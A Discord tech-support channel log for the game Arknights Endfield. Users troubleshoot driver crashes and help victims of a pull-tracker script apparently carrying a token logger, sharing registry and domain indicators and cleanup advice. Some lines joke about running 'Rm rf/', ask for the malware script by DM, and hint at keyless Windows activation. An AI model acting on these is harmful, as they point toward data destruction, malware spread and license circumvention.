tech-support

[proven sundial]

[tall acorn]

insanely faster and has more stable connections

[wheat turtle]

[golden zenith]

well time to view all, send a ss of recent 5 hardware error first

[solemn nacelle]

ok im using that currently

[leaden dragon]

sooo is it fixable ?? 😭

[proven sundial]

First look at the problem in windows

To see what can be done

[solemn nacelle]

do i restart my pc or game after deleting hgdownload

[proven sundial]

Open up all the errors hardware and windows related

[golden zenith]

yes restart

[solemn nacelle]

[agile tusk]

delete hgdownload > reset pc > open endfield > enjoy

[solemn nacelle]

aight

[toxic atlas]

RJ45, wired internet port on motherboard

[leaden dragon]

you mean this?

[solemn nacelle]

i dont get any you saying 🙏

[proven sundial]

Welp

[hazy venture]

oh boy

[proven sundial]

I have my conclusion

[leaden dragon]

https://tenor.com/view/speed-aura-monster-re-zero-sa-subaru-natsuki-gif-7519255111501849083

[hazy venture]

https://tenor.com/view/james-doakes-doakes-curious-suspicious-questioning-gif-14390669560130901665

[agile tusk]

wifi = internet no wires! decent speed
ethernet = internet yes wire! best speed you can get

[solemn nacelle]

thanks 🙏

[leaden dragon]

yess??

[leaden dragon]

so can someone update me? is it over or can I fix it 😭

[proven sundial]

More info

Need to make sure

[agile tusk]

the next 5 in reliability monitor please

[solemn nacelle]

i see it clearly now

[proven sundial]

Okay gpu driver is fucked

[hazy venture]

broo marble aggelomoirai boss is hard or am i just bad

[proven sundial]

Windows components

[hazy venture]

can't even dodge some attacks

[proven sundial]

Stfu

[hazy venture]

literally can't

she's up in the air and just smashes at you

[hazy venture]

no circle on ground or anything

[rancid loom]

skill issue definitely

[agile tusk]

alright gabi needs DDU right

[leaden dragon]

will a clean reinstall fix everything magically?

[rancid loom]

[hazy venture]

nahh fr nobody can dodge that attack

[leaden dragon]

wdym those attacks are easy

[proven sundial]

Can you please leave

[agile tusk]

you dont need to go that far

[winged ore]

for me
fighting that boss with Keyboard and mouse controls on PC was ultra difficult
but fighting that boss on the mobile phone version of endfield felt easier for me

[rancid loom]

guys there's an issue... please stop (not you Gabi)

[wide sable]

hm should i be paranoid here my powershell logs recorded i pasted the command but the event viewer doesnt show it

i used endfieldtools and it shows in both

[proven sundial]

We are trying to solve an issue whoever is not needed here get out

[broken swift]

Grab a controller with 2/4/6 back buttons. You can even do a 1 hand gaming moment

[wide sable]

apparently it can delete the event logs if it ran

[agile tusk]

what command? the one in the google doc?

[leaden dragon]

I mean, if its the easiest way.. I wouldnt mind cleaning my drive

[wide sable]

nah i checked all powershell history manually

[agile tusk]

as what xomori said, its the gpu driver going bonkers. youre on nvidia, yes?

[rancid loom]

has Gabi already done DDU?

[agile tusk]

not yet

[rancid loom]

I think he's on AMD

[leaden dragon]

amd

[leaden dragon]

yes but those dont rly work

i need to do a ddu every 4~ days until they fail on me

[wide sable]

Get-Content (Get-PSReadlineOption).HistorySavePath
i used this and searched for "endfielf"

[rancid loom]

wdym it doesn't?

[pale thunder]

Who need a controller when you have 19 buttons

[proven sundial]

So what critical component failure windows gpu drivers failed to respond and tdr timeout

[broken swift]

That's definitely wierd

[leaden dragon]

like after I do a ddu, everythings fine, for a few days

[broken swift]

Have you done the "sfc/scannow" yet?

[leaden dragon]

no lemme try

[agile tusk]

ddu works as its intended; cleaning old drivers for the new one. ddu is not used to make drivers stable, its to download a stable driver without conflicts

[proven sundial]

Check the guide in pins

For a proper ddu and windows repair

[rancid loom]

yeah but if he has done this before, something other than the GPU drivers are going bonkers

wouldn't hurt to try again though

[leaden dragon]

just did it today again 😭

[agile tusk]

hence why we need gabi to do the sfc scan

[leaden dragon]

a few more secs

[rancid loom]

aight

[agile tusk]

take your time

[leaden dragon]

.

[broken swift]

Btw how long did you have this gpu, is it new or used?

[pale thunder]

You know. An easy fix would be to switch to linux

[silk jackal]

i just got it resetted, so why do i still have my same login info for the device?

[agile tusk]

have you tried manually looking into event viewer and task scheduler? if running another powershell cmd doesnt show any results, it doesnt hurt to do it yourself

[leaden dragon]

1 1/2 years, worked amazing. Only issue I had is some hardware acceleration problems I fixed with a tutorial in regedit

[rancid loom]

coz you just basically reinstalled your PC by using files on the cloud, it still retains your Microsoft login info

[silk jackal]

oh ok,
MY WALLPAPER RETAINS LEZZGGOOOOOO

[broken swift]

What's your vram and hotspot temp when gaming?

[pale thunder]

User files stay

Programs get wiped

[tall acorn]

@solemn nacelle, you still here?

[agile tusk]

i reset my pc while being disconnected from the internet. had same login info and all. its intended

[leaden dragon]

last time I checked under 70 C, usually 50-60

[tall acorn]

you'll want to follow the steps in the guide that's listed in the pins

[solemn nacelle]

yes!

[silk jackal]

got it, its good to know so i can assume right im safe from that malware dogshit now?
i think im probably gonna stay from these sites from now on

[broken swift]

Seems good.

[solemn nacelle]

after deleting hgdownload and restarting it didnt fix my problem

[agile tusk]

find for DISM & SFC keyword in pinned. should take a while

[rancid loom]

remember, always think before you click

[tall acorn]

created this quick image if you're interested in doing any of this

disables power saving features for your ethernet

prevents throttling and micro-stuttering

[silk jackal]

yeah lesson learned, i barely use pull tracker sites thats why i thought there wouldnt be any problems

[tall acorn]

at the cost of like 2 more watts of constant consumption

[agile tusk]

check event viewer and task scheduler one more time. i did it to make sure absolutely nothing suspicious was lingering. if there are no findings, you are good to go! redownload your drivers, apps, programs and redistributables (if needed)

[tall acorn]

valuable lesson indeed 👍

[solemn nacelle]

how do i get there in the first place

[hazy venture]

thank you kind 👍

[tall acorn]

good question

[solemn nacelle]

found it

[tall acorn]

also this apparently down here too

along with a few other configurations i could add to the list

[rancid loom]

@tall acorn hoow about if it's an Intel Ethernet driver?

[silk jackal]

if there no logs, its all good right?

[tall acorn]

any ethernet adapter that applies to will have those configurations unlocked

[solemn nacelle]

ok now how do i get pass 0% releasing resources

[tall acorn]

switch to dx11 and back to vulkan

[solemn nacelle]

i did iirc

lemme try again

[silk jackal]

@agile tusk how do i check the one for the task scheduler?

[broken swift]

Intel ethernet driver don't have issue with "power saving" feature like realtek

[agile tusk]

yes if you found nothing then safe to say your pc is free from the token logger. but now is a good time to practice the habit of checking event viewer/task scheduler/reliability monitor every few weeks to months. if you notice your pc suddenly being slow, try to remember if u ran any scripts/downloaded from a shady source. biggest advice we can give from this experience is to NOT run anything until you are 100% sure what it does. if you are still skeptical, you can ask us here

[rancid loom]

I see

[tall acorn]

if it isn't working for you,

navigate directly to the endfield exe, right click on it and check the box in the properties tab, afterwards click apply and launch the game from the exe directly,

paste this into the leftmost path bar %ProgramFiles%/GRYPHLINK/games/EndField Game

[wooden schooner]

been stuck like this since earlier, restarting the game doesn't work

[tall acorn]

try to remember if u ran any scripts/downloaded from a shady source

would advise not to run any script, ever, unless you know exactly what it does for a fact

[tall acorn]

switch to DX11 and back to vulkan

[solemn nacelle]

done this too

[agile tusk]

yeye thats very true

[tall acorn]

follow the guide that's attached in the pins, in that case

[solemn nacelle]

good timing! we are also talking about this!

[agile tusk]

https://www.reddit.com/r/Endfield/s/Bd1hCCzg8W

there has been new updates to this post. see Task Scheduler guide in here

[wooden schooner]

wait really? lol

[solemn nacelle]

this one?

[wooden schooner]

still stuck, that's weird

[hazy venture]

ym this??

[wooden schooner]

i just login this morning and it's fine

[solemn nacelle]

mine worked just now lol

[tall acorn]

follow this guide as well after trying this

[solemn nacelle]

started compiling shaders

[wooden schooner]

noo help 😭

[tall acorn]

if it isn't working for you,

navigate directly to the endfield exe, right click on it and check the box in the properties tab, afterwards click apply and launch the game from the exe directly,

paste this into the leftmost path bar %ProgramFiles%/GRYPHLINK/games/EndField Game

[solemn nacelle]

literally did the first step

[tall acorn]

and make sure to have patience while waiting for it to finish 👍

[tall acorn]

holy forgot to remove the ping when copy pasting

my fault @meager marten

[agile tusk]

yea that website has been taken down after the recent findings frm community have detected a malware in the script when grabbing pulls

[wooden schooner]

what the hell

[agile tusk]

pull trackers am i right

[hazy venture]

taken down? does that mean i can't access it?

[tall acorn]

-# :clueless:

[broken swift]

What does pull tracker do? And why even use it for starter?

[agile tusk]

the site is offline last time i checked. dont even bother visiting it bro

[hazy venture]

okie dokie

[wooden schooner]

alright this works for me, tysm!

[silk jackal]

yeah i think imgood resetting, did the job and removing everything

[solemn nacelle]

btw ty zencrox, +1 credit

[agile tusk]

instead of sending 5 screenshots for a character/weapon, me and my friends just want to have a detailed pull history and compare our luck. its not that hard to understand why theres appeal in this. wish history gets removed after 6 months, and pull trackers help keep a record

yea its stupid to run random scripts where u cant even see the source code. lesson learned. we get it. now im doing this shit on my own and open a spreadsheet like god intended

[drowsy cipher]

im actually interested in seeing that pull tracker script for future reference. I do try to read and understand scripts scripts before I run them but Ive never noticed anything malicious in the ones I ran

[broken swift]

I see, i'm glad that i treat gacha games like normal games and don't care much about pulling

[drowsy cipher]

Is it still available somewhere? Send it via DM so its not in here

We dont want that in here

[golden zenith]

gacha game is a skill check, Reading

[silk jackal]

ima keep my distance away from sites like from now on tbh, anything that involves retrieve from my device a red flag

[agile tusk]

pen and paper beats digital

[golden zenith]

back to suffering

[broken swift]

It's a valuable lesson indeed

[silk jackal]

OHH NO MY WORLD RECORD IS GONE ( i had like 2 millions ads/trackers blocked on brave......)

[tall acorn]

anything that asks for elevated prompts, or requires a script to run, i wouldn't do it unless there's a reputable person that can vouch it's going to do what it's intended to do, and only what it's intended to do, even then i personally wouldn't run it unless i myself was 100% certain of what it's actually going to do

[tall acorn]

frequent fandom browser?

[silk jackal]

yeah kinda stupid ngl, ima try to learn a bit from now on

[silk jackal]

sorry what?

[light crow]

I purchased items from the "Elastic Demand" tab, the credits were deducted but the items never appeared in my inventory; I've already restarted the game thinking it was a visual bug but nothing was added, so please investigate this situation.

[drowsy cipher]

Well usually these require file access because the pull history is in one of the temp files. But do scan any script you find before running it always

[silk jackal]

for valley its like that i think

[drowsy cipher]

I think that might be more of a #contact-us issue?

[broken swift]

Scroll yt for 10m and it will easily reach nearly 1k ads blocked with ublock

[silk jackal]

im not of a guy tbh

[tall acorn]

fandom wikipedia

[tall acorn]

scroll down, and there's ads blocking content on the page

[drowsy cipher]

its even worse on mobile.

[silk jackal]

i barely even check that site, feels crap

[agile tusk]

ublock origin my beloved

[broken swift]

Sadly only ublock lite work with chrome...

[tall acorn]

very common wiki site that's devolved into a nightmare in the last couple of years, most in-the-know communities create their own wiki's on other sites, or host their own wiki's if possible

[agile tusk]

yippee my friends os reinstall went successfully now unto the drivers and telemetry tools

[silk jackal]

oh wow microsoft gives u list on what have u deleted on the reset

[tall acorn]

70% of the screen real estate and then some is blocked by banner ads, scrolling ads, page ads, more ads, it's crazy

[agile tusk]

nah man i run the entire thing on chrome. not lite

[broken swift]

How?

[agile tusk]

u can use the og UBO on chrome by adding a cmd to the launch

wait gimme a moment

[tall acorn]

chrome likes to remove the extension for most users after a few days

there's alternative browsers out there which work perfectly fine

and there's different adblockers you can use which work for youtube or whatever still on the chrome web store

[silk jackal]

i suggest using brave

its built in ad blocker works just as well

[tall acorn]

if youtube is detecting your adblocker (which it likely is for a lot people most of the time), you'll notice various features missing and slowdowns

[broken swift]

Hmmm, i never notice that

[agile tusk]

https://www.reddit.com/r/uBlockOrigin/comments/1mtowwf/end_of_support_for_ubo_on_chrome_chromium/ @broken swift post from a mod from the sub. ever since manifest v2 was removed, i followed the guide. been many months now and goog didnt remove the extension. chromium.zip from the github > put it in a secure folder, unpack it in chrome extensions > profit

[broken swift]

I see, i will save this. I will try it when i get home on the weekend

[drowsy cipher]

im glad im not part of the adblocker/youtube arms race

[tall acorn]

it isn't detecting your adblocker in that case

[agile tusk]

oh no chrome! well unfortunately my uni uses google

[broken swift]

It's ublock lite with max block

[tall acorn]

if you launch a video and it takes a few seconds, or 5 - 30 seconds to load, you're being detected and youtube is causing you issues

[tall acorn]

doesn't work that great on youtube as it's detected afaik

but works great for every other site

[broken swift]

Hmm, it's 3-4s for me

[tall acorn]

try with UBO off

launch a new tab

or in incognito for a moment

[broken swift]

My laptop is in warranty and my rig is at home rn

[hazy venture]

dayum

[tall acorn]

same if you notice other stuff like livestream chat replays vanishing, comments vanishing, shorts vanishing, etc - but this is due to changes that youtube has made to specifically cause trouble for adblockers

[hazy venture]

i personally experience only the video loading for 5-10s when first loading the page

[broken swift]

Didn't happen for me, i guess i'm lucky?

But i wish there is an app like yt revanced on pc

[hazy venture]

i think people are unlucky those that experience further issues

[tall acorn]

the difference for me with a poor, detected adblocker has been 5s - 30s at most in the past

turned off, it's instant

[hazy venture]

yeah..

[hazy venture]

true true

so, no tech issues rn?

all fixed?

[tall acorn]

waiting for some responses i believe

from 1 or 2 people

[hazy venture]

oh okie

[agile tusk]

my friend got an armory crate popup from the fresh os and i told her to say no to that shit 💩

[hazy venture]

damn really??

whyy

armory crate is fine if you don't pair it up with other softwares

[tall acorn]

i'd rather watch a black screen for a minute than get a terrible ad i don't want to see for 30 seconds

[broken swift]

Gabi's issue hasn't been fixed yet

[tall acorn]

bloatware

[hazy venture]

hmm

[agile tusk]

her pc was built for her iirc

[hazy venture]

awww :(

[tall acorn]

does nothing but slow down and cause issues for your system

there's alternatives which work just as well, some have even more features

[hazy venture]

what about omen?

[tall acorn]

necessary bloatware i believe

[agile tusk]

armory crate, msi, razer synapse, all asscheeks. msi afterburner is what u only want from them

[broken swift]

If she want to control rgb tell here to use signalrgb or openrgb

Tuning then msi afterburner

[hazy venture]

necessary? you mean that it's just good to have it but it's bloatware?

[agile tusk]

yup i use signalrgb myself but idk if she likes rgb stuff so

[tall acorn]

for the configurations it has, i believe so

[hazy venture]

that's fair that's fair

[tall acorn]

though there's probably an alternative out there that lets you access the same exact features without all the bloat

[hazy venture]

controling gpu fans is a must for laptops

[broken swift]

[hazy venture]

on laptop it's really hard to find one actually (i didn't find one myself)

[keen field]

Hi i suddenly experience fps drop after playing the game earlier

[tall acorn]

yeah, it's because youtube only rolls out the changes to a specific set of users (for pretty much every change they make), so you'll either be entirely unaffected

[hazy venture]

hmm

[tall acorn]

or you'll be in the selected group and half the site will be missing and running slow

[hazy venture]

did you update your gpu drivers recently? and specs (thx zencrox)

[tall acorn]

what are your system specifications, @keen field?

[keen field]

Tried restarting the game and my computer but its still not working. Anyone know what might be the problem? 5070TI + 9700X

[keen field]

Yes this morning

[tall acorn]

what's your driver version? have you updated in the last two weeks?

[hazy venture]

@tall acorn

[tall acorn]

revert using the DDU guide attached in the pins

[hazy venture]

👍

[tall acorn]

14 now i believe

[broken swift]

Another Nvidia driver issue 🥀

[keen field]

ok thank you let me take a look

[hazy venture]

this one no?

[tall acorn]

yup

[hazy venture]

alr

[hazy venture]

+1

[agile tusk]

https://tenor.com/view/fgc-fighting-games-sajam-rollback-futurama-gif-18030851

[broken swift]

And btw this too

[hazy venture]

LMAO

true

[sweet rover]

Is this true?? I already done the step on how to check it but find nothing. Might try the detailed step next after this

https://x.com/naruvt0/status/2028923348244447636?s=46

Naru (@Naruvt0)

PSA: EndfieldRecords dot com Pull Tracker has Malware Identified by Axanael. Avoid using the website

Full Detail: https://t.co/HDAx6g0yRF

#ArknightsEndfield #Endfield

X · Mar 3, 2026, 7:59 PM

[hazy venture]

yes it's true, it was flagged as running malware scripts behind your back (dunno the details)

[sweet rover]

Wht if i dont find the rouf.xyz after following the step?

[pearl plank]

Why do all of the feedback channels are suddenly read only?

[hazy venture]

they aren't for me i believe

do you mean the threads or the channels?

[agile tusk]

it is true

[agile tusk]

if you have ever ran the pull tracker script even at least once, there is a chance

[pearl plank]

I can’t chat specifically in the feedback channels everywhere else I can, maybe it’s something to do with connection?

[sweet rover]

So wht should i do?? Even after i run a quick check like the post said and find nothing?

[hazy venture]

threads are read only, but you can interact with emojies to upvote it or not.
about the other feedback channel someone else might be able to answer your question, i can chat in those personally.

there is a limit of time between each messages in the feedback channel also, maybe it's why you can't

[pearl plank]

Oh like if the channel is old enough you just can’t send anything in it anymore? I can’t even send a message in one posted 30 minutes ago

[steel swift]

Maybe you got lucky and didn't get the malware

[agile tusk]

check carefully not quickly. this is a tokenlogger so this should not be taken with a grain of salt. what were your findings in event viewer, task scheduler, and registry editor?

[hazy venture]

i believe you can only post in 6 hours intervals in those (yourself)

[toxic atlas]

... So I am about to either have a mental breakdown or kill someone

[hazy venture]

can you maybe send a screenshot of that issue? idk

[hazy venture]

what happened max??

[pearl plank]

Ahh okay, I have a feedback thread that I’m the creator of but I can’t even add or edit anything of my own

[steel swift]

If you ever use their service, you should check everything

[sweet rover]

Nvm i find it, So wht should i do?

[hazy venture]

oh.. then someone else needs to help you

[steel swift]

cooked

[agile tusk]

i am sorry. you are compromised.

make sure you are disconnected from the internet for now.
check task scheduler and registry editor. youll see what the malware does

[pearl plank]

Thanks for tryna help me out Fusion it’s appreciated,

[sweet rover]

Where do i see that?

[toxic atlas]

@proven sundial what would you do
If you found out one of the domain admins passed his account password to an AA so stupid he can barely ssh into shit with handholding
To fix an issue possible incident on their own on some server, and just go home for the day?

[agile tusk]

im on mobile atm so let me redirect you to the doc https://docs.google.com/document/d/e/2PACX-1vR1sKcyZxATg-gbpHgb5lW7Xs6UGtxNG51Te4B5pk_3ePl-_IAP3fBisiAOt4BdgR4SyAczV2x_n9W0/pub

[golden zenith]

defuq

[toxic atlas]

I was literally speechless
The dumb AA mofo straight up told me when asked what's going on

[proven sundial]

Evil lore occurs

Rm rf/

Everything

[golden zenith]

really

that guy

[toxic atlas]

(AA for the not knowledgeable is Application Administration, IT sub-dep that manages the application layer of shit like webapps and the likes)

[golden zenith]

that even worst

[hazy venture]

anything out of the ordinary? (just making sure pls no hate, ik there is documentation)

[proven sundial]

But yeah honestly ... I would do nefarious stuff

[nova hound]

Hey fellas, if I ran the malware code, and followed the doc instructions and found 2 events from the code when I used it but nothing else in the doc (tasks), am I still cooked (and need to reset windows)?

[toxic atlas]

I am literally about to crash out

If I tell management the only competent windows admin will straight up get fired

[agile tusk]

check Actions and see if theres anything suspicious in each item. Custom Handler should be fine.. anything else red flag

[toxic atlas]

Of course I won't, but it's still really fucking bad

[proven sundial]

That's a collision course with an ice mountain right there

But i'm not surprised

[toxic atlas]

Like I get if you're busy
But at least announce that shit so someone can swap in

[agile tusk]

nothing at all from the task scheduler? how about registry editor?

(HKEY_CURRENT_USER) HKCU:\Software\Orutime\Lethreme
(HKEY_LOCAL_MACHINE) HKLM:\Software\Orutime\Lethreme```

[toxic atlas]

Not pass DOMAIN ADMIN CREDENTIALS to an AA

[proven sundial]

They call that utter incompetence

Same like my boss

Just casually deleting 270 VMs

[tall acorn]

if you ever ran the script you should reinstall windows

[tall acorn]

yes

[umbral trout]

so, I never use endfield tracker, then am I safe?

[toxic atlas]

I swear to god those credentials also have full access to the vSphere cluster

[tall acorn]

90% chance you're compromised, if you found evidence of the malware still on your system, you are 100% compromised

[nova hound]

there was no orutime folder but shame i should just reset

[toxic atlas]

The other day we counted 670 VMs

[rancid loom]

good job my child, you have learned the art of thinking before clicking

[umbral trout]

but I use https://endfieldtools.dev

[toxic atlas]

[sweet rover]

Man, is there a simpler explanation from that doc? Kinda hard for me to follow it

[toxic atlas]

I will unironically crash out

[rancid loom]

well, you want to wait for it to generate a registry key then??

[nova hound]

idk im not good with tech

[hazy venture]

lol

[proven sundial]

Stay calm you are the smart one here

[nova hound]

oh well lol

[hazy venture]

our advice is to reset windows entirely (i think)

[rancid loom]

[nova hound]

do i trash my files too?

[tall acorn]

edit the original post, the #1461653979862925498 forums have been locked thanks to the helpful insight people have had in the discord feedback channel

[umbral trout]

IS IT THE SAME?

[hazy venture]

you can save important files in a USB i guess

[hazy venture]

no..

not that i know of

[rancid loom]

well thankfully the malware doesn't harm personal files according to Zencrox

[umbral trout]

THANK FUCKING GOD

[hazy venture]

that's at least a good thing

[golden zenith]

I think Max is the only sane person running this company...

[hazy venture]

imagine it just deletes your folders one by one

[agile tusk]

that is the best solution we can find. if you have an external/other drive for backup and dont mind completely resetting everything, then proceed. but if you want your files intact, that is also an option. this malware so far is a setup typically seen for phishing attacks, but we also found out its a token logger.

so what you will do is reinstall windows, and clearing sessions/changing passwords of your account. do it for your gryphline account asap

[rancid loom]

but if you want to really be sure, back up your personal files before fully deleting Windows and installing it again

[proven sundial]

I left my company as the sane person

[hazy venture]

lol

[rancid loom]

what if the guy tried to login his bank credentials onto his PC, ain't that more important than the gryphline account?

[sweet rover]

Should i reset my password now or after i reset my device?

[tall acorn]

after is fine

[proven sundial]

@toxic atlas feel free to vent in my dms sometime

[hazy venture]

lmao

[nova hound]

yeah i saw it on my way home and wiped my acc on phone immediately

[agile tusk]

dawg

[sweet rover]

Man, i just realize i forgot one of my email pass

[golden zenith]

Bruh, we talking about Max here

[rancid loom]

Max is slowly going deranged

with trouble irl and here as well

[proven sundial]

Who says sysadmins are not deranged

[rancid loom]

dude I just felt the pain when you said sysadmins

🥀

[tall acorn]

☝️ @nova hound, @sweet rover

[toxic atlas]

If I wasn't on a bus on my way home I'd be having a biblical level crashout

[proven sundial]

I think it may be better to just run your own vpn company

[sweet rover]

How do i see the list of the file that got removed?

[tall acorn]

during the reset process you'll get a list of removed files

[proven sundial]

I have to get back to c coding

[agile tusk]

example i took

[rancid loom]

just a question. why do you have so much .NET Framework SDKS installed?

you program?

[hazy venture]

[proven sundial]

Because he's pooping code

[rancid loom]

fair point

lul

[agile tusk]

im so fucking hungry i should just order food yall

[hazy venture]

huh

[agile tusk]

ive been assisting ppl here

[hazy venture]

who fasts nowadays

[agile tusk]

i foorgot to eat

[hazy venture]

go eat lol

[proven sundial]

Jeht i know you are a machine so just drink some motor oil

[hazy venture]

lol

https://tenor.com/view/james-doakes-doakes-curious-suspicious-questioning-gif-14390669560130901665

bro's like that

[agile tusk]

im just a silly girl

[hazy venture]

i have kinda lots of warning in event history thingy

[rancid loom]

you mean event viewer?

[hazy venture]

i need to reinstall windows too :/

[hazy venture]

yeah, forgot the name in english-

[sweet rover]

I already ran the script but it show nothing, can someone help me to copy and paste the script and send it to my dms? I already read the instructions below but i just want to double check and make sure the script actually run

[rancid loom]

as long as there's not critical failures which point to hardware errors, I don't think you need one

[proven sundial]

You are IT until proven otherwise

[hazy venture]

yeah but they're annoyingly taking up lots of space :/

and i get errors

lots actually

[rancid loom]

show

[agile tusk]

if the script to detect does not work, finding it yourself is quite easy actually

[agile tusk]

JESUS

[sweet rover]

How?

[hazy venture]

I PROMISE I DIDNT GO TO ENDFIELDRECORDS

[nova hound]

Btw should i be changing the passwords saved on firefox or all passwords ive used cause no way i’ll remember all accounts lol. Answer is probably B but just asking cause nothing better to do waiting

[proven sundial]

Oui oui francais

[hazy venture]

i also have THIS error

which went for about 2 hours

while i was Y cruncher

but they're also here and there

[agile tusk]

Event Viewer > on the left-hand side, Applications and Services Log > Microsoft > Windows > PowerShell > Operational.
let us know if there are any logs

[agile tusk]

arent those errors from your ram timings and testing

[hazy venture]

no, the ram test didn't detect any

[tall acorn]

went and ran the malware after we warned them not to... pull information was just too enticing, we're finished

[hazy venture]

hm who?

[sweet rover]

Mb wrong image

[sweet rover]

Thats the latest one

[proven sundial]

You need to reinstall some windows components did you mess with cpu cycles ?

[agile tusk]

wow you got the entire script and all... yup. 100% compromised. no worries, OS reinstall should erase everything

[hazy venture]

cpu cycles? wdym?

[proven sundial]

Did you fuck with your cpu ?

At any point

[tall acorn]

-45 all core PBO

[sweet rover]

Damn shit, thats the last thing i want to know after i find this

[hazy venture]

shush he doesn't need to know

undervolt is safe

[proven sundial]

No wonder your windows is breaking

[hazy venture]

it's nottt

[tall acorn]

safe undervolt is safe

[hazy venture]

it's like that for days months

[proven sundial]

I can smell it

[hazy venture]

not since yesterday

[agile tusk]

you can keep your files. its redownloading the drivers and programs thats really annoying. but give it 1-2 days, or depending on your internet. thing's will get back to normal

[hazy venture]

y'all are schizo fr fr

[tall acorn]

drastic undervolts that make your CPU cores error correct like crazy is unsafe

playable

but unstable

[proven sundial]

Cpu core erros affect ram

[hazy venture]

but i don't have -45 undervolt rn.. i'm on -35 which is above stable

[proven sundial]

Aswell as integrity later on

[tall acorn]

-15 to -25 absolute maximum is recommended for most cores

-15 will be slightly unstable on some cores too

[hazy venture]

why you so sure of yourself dayum

[tall acorn]

if you want further than that, you'll have to take it at what it is, or stress test each individually core yourself

[proven sundial]

What exactly happened anyway ?

[tall acorn]

which takes quite the while

[hazy venture]

nothing, just errors in event viewer (if you're talking about me)

[tall acorn]

nothing serious will happen (aside from errors and potential crashes/corruption), just an undervolt

[hazy venture]

i'm just gonna run DISM and maybe install iso to repair windows files ig

[agile tusk]

fusion was tinkering with resolution and then cpu uv and then ram timings potential man in the making

go king we support u

[hazy venture]

ram timings then cpu then res-

[hazy venture]

thx thx

tho my cpu has been at -30 UV for months (idk about 5-6)

[toxic atlas]

[proven sundial]

Well dcom erros are related to cpu

[hazy venture]

dcom?

[proven sundial]

So whatever you messed with revert it

[hazy venture]

where do you see dcom errors

[proven sundial]

Distributedcomm

[hazy venture]

i just need to find a 23H2 iso

[hazy venture]

ohhh, okie i have a few

[proven sundial]

Get your system back to stable

https://tenor.com/view/fafo-findout-fuckaround-fuckaroundandfindout-you-gif-26826252

[hazy venture]

well i'm trying-

i'm dism rn-

[proven sundial]

Fair enough refer to gif above

[hazy venture]

don't remember if it's 23H2.. hm

aww shit

[tall acorn]

can't read that shit lol, but you're cooked

[agile tusk]

papa can we get a translation

[proven sundial]

Time for reinstall

[hazy venture]

nah

[agile tusk]

bro was not affected by malware but still needs reinstall

[tall acorn]

system is falling apart, but it's still perfectly playable so we're good for now

[tall acorn]

[hazy venture]

i just have to find 23H2 iso

which is hard

[proven sundial]

Alright well

You'll get it done

[agile tusk]

if its not reaching snail levels of unresponsiveness then keep the ship sailing

[hazy venture]

ye ye

SFC tells me to violation tho-

good sign!

[toxic atlas]

Just grab LTSC and forget about win11

[hazy venture]

what's that

[golden zenith]

download Linux

[hazy venture]

NO

NOT LINUX

HELL NAH

[golden zenith]

what did Linux ever do to you

[hazy venture]

nothing

[rancid loom]

[toxic atlas]

Windows for ATMs and the likes
An official unbloated version of Windows 11
That is also on a separate update channel and doesn't get broken by the usual updates

[hazy venture]

literally

in a bad way

[hazy venture]

hmm

anyone mind sending me link to download 23H2 windows in english please?

i'm begging

i'll save it on a USB so that i can reset anytime

also i think it doesn't find the files cuz i'm on 23H2 and it's no longer supported

[sweet rover]

Yo guys, i know this is a weird question but how do i reinstall windows safely, like there is one time i reinstall my device because i cant connect to wifi for some reason and it asked me to input the key again and i had to go to the offline store just to ask them to fix it

[golden zenith]

it on massgrave... how can you not find it

[rancid loom]

ye 23H2 no longer supported but check your DMs

[toxic atlas]

... Just grab LTSC

[toxic atlas]

Full reinstall (drive wipe) or just core reinstall (data stays, apps & settings go)?

[sweet rover]

Once i done the remove everything option and when i use the account that have the digital license, it still asked for the key

[toxic atlas]

You know you can activate windows with a single PowerShell command, right?

[sweet rover]

if i know, im not going to ask that here

[agile tusk]

when you reinstall OS, your key will still be there

[toxic atlas]

Just skip the key pass during reinstall and activate after

[sweet rover]

Im serious bro its not

[sweet rover]

How?

[agile tusk]

?? me and a couple others have reinstalled windows while keeping files and we didnt have to reactivate it again

if it asks you for a key, skip it

[sweet rover]

The one i do are a complete wipe data

[toxic atlas]

... The blue text saying "I don't have a key" right next to the key box?

[agile tusk]

you okay with losing all files then? alright2

[sweet rover]

Or remove everything before u reset it

[sweet rover]

Yeah im fine, after im done with the important file, I’ll immediately back up the data to gdrive

[toxic atlas]

If you have a big enough USB, you can grab SDI-Origin, and download the drivers for your computer in it ahead of time

[sweet rover]

Bootable device?

[toxic atlas]

Or at least the network drivers

[toxic atlas]

Doesn't matter
Bootable for windows installer
Anything else for drivers & backup

You can even shove it onto the windows installer usb if it's big enough

[nova hound]

Oh man now I have to uninstall all the default windows trash again :(

[toxic atlas]

... LTSC

[hazy venture]

i was always told to use rufus to put that shit in a USB

[toxic atlas]

Yeah, Rufus is just the best way to flash ISO files to USB drives (on windows)

[hazy venture]

yay

[rancid loom]

Welcome to Windows where bloatware is somewhat a necessity for Microslop

[hazy venture]

if it's free, you're the product 😂

[agile tusk]

record the windows key if you havent. if thats a commercial computer OEM then the key should be embedded into ur mobo and activated automatically. if u built that pc/actually bought a windows license, then u gotta enter if u have it. otherwise, just activate it later during the process bruh

[toxic atlas]

The fact it's $200 and it sells your data is fucking comical to me

[hazy venture]

i remember there's a way to find the windows key you have rn, isn't there?

in registery or something

[hazy venture]

(you mean a dollar? )

[toxic atlas]

I mean free
Who tf pays for windows

[hazy venture]

lol

people who want dark theme

[rancid loom]

i think they already removed that feature for newer Windows versions

[hazy venture]

hmm

[toxic atlas]

... It's a single fucking command to activate it

[hazy venture]

without key?

[toxic atlas]

Yes

[hazy venture]

wtf come dm immediately

[sweet rover]

The problem is, the one that activate the keys are the employee that sells the device to me, they said that if i reset my device then i just need to input the account that they give to me and it will activate automatically

[rancid loom]

what?

[sweet rover]

Yeah idk if u guys having a stroke reading that

[rancid loom]

so basically they own the copy of windows and not you?

[hazy venture]

as a french native, i am having worse than a stroke

[sweet rover]

Idk if that the exact wording

[toxic atlas]

DM'd

[toxic atlas]

I mean... Yeah, that's a thing for MS Store

[sweet rover]

Mb, i mean they the one that help to activate the windows. Idk if that gojng to help

[rancid loom]

or probably they gave you an account that has a digital license on it

[toxic atlas]

But needs Microsoft account

[sweet rover]

Yeah thats one

[hazy venture]

dw lol it's just skill issue from my part

[rancid loom]

Chat suddenly died huh

[hazy venture]

yes

[sweet rover]

Probably having a stroke after reading my message

[hazy venture]

lol same

[toxic atlas]

Oh hey I found Pocky at a store
Do I get cookies & cream or strawberry flavor?

[golden zenith]

it normal
Im playing with Linux
Xomori Playing C coding
& Max is stunlock by his work

[hazy venture]

lol

[agile tusk]

good news for me bc i can finally break my fast with oatmeal

[proven sundial]

BOTH

[golden zenith]

really up to you, i like cookies & cream

[toxic atlas]

I'm not a fan of Oreos though

